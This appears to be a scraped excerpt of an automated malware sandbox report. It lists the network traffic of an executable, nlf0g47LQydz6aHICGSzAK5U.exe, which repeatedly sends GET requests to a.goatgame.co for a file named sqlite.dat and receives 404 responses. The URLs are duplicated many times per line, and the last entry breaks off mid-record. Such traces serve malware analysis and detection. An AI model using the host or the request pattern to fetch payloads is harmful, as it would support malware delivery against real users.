                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:25:59 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=RiWSn9cKUZ1BnxM3Q9yTkp028zDjAZWBND9i3f8HxZlSCWZ8WXKYVTLLGUPWWCWQunKMNHZ1ZrR%2F7mh4aMWItwooCs8yfZ5AZSVs1UqqqrqdnXdf8hIvOVw0rrivTb67"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 6823291768871e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:00 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=EcxyhvuVH0PmEXwIyVGKD%2FgQV3RUEGXjEqqEYwnYMxBebudmY7UnuaajFhZRL5%2FxVeKtSm5rd5LAMEA6O6qrTGRxPgF80wdcCNrZ7mZq80aLywBM7sx9wbhUnDAKVOuo"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 6823291daf6a1e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:01 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=v9s%2FXbgBh1a7y9rSf6%2B7HXQDdIIJrMNfHfs2qKc%2B60o1WwaosWP5%2BonhY060hFlycCgv3Xhg6B3uyo9AEWeDfnV50ovcXkn6rj1KmZZHDf2iKOKW%2BY0xJToDBgrG59FL"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 68232925b9311e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:02 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=viZ54xv6A1IXf5Ib901GLSrAyV3fJcHaokmuuxq91PDcaY6U9OFnWh%2FOtQlByGvucR0g5doikTo80YOmzFS%2BLWKo1oFD7r2aLd7zyRKRGzV35iM8GqWadpVgTDr%2F%2Bt6X"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 6823292b383c1e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
                                                                                                                                                                                                                                          GET /userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat HTTP/1.1
                                                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                                                          Accept: */*
                                                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                                                                                                                                                                                                          Host: a.goatgame.co
                                                                                                                                                                                                                                          Response
                                                                                                                                                                                                                                          HTTP/1.1 404 Not Found
                                                                                                                                                                                                                                          Date: Sat, 21 Aug 2021 10:26:03 GMT
                                                                                                                                                                                                                                          Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                          Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
                                                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=NAeCrej5GCLrDTwtEJa1QuZvFhdn4pGznJAa4pmVcCojayThduLBWlD3FEiVKwFSOFMnWV%2BFwochx7r6gIQN9XidwBV3KvY8VL3oy%2FiQZaDjWsTJao1mtlqSHsOZfexH"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                                                          CF-RAY: 6823293298cf1e75-AMS
                                                                                                                                                                                                                                          alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400
                                                                                                                                                                                                                                        • flag-unknown
                                                                                                                                                                                                                                          GET
                                                                                                                                                                                                                                          https://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dathttps://a.goatgame.co/userf/dat/2201/sqlite.dat
                                                                                                                                                                                                                                          nlf0g47LQydz6aHICGSzAK5U.exe
                                                                                                                                                                                                                                          Remote address:
                                                                                                                                                                                                                                          104.21.79.144:443
                                                                                                                                                                                                                                          Request
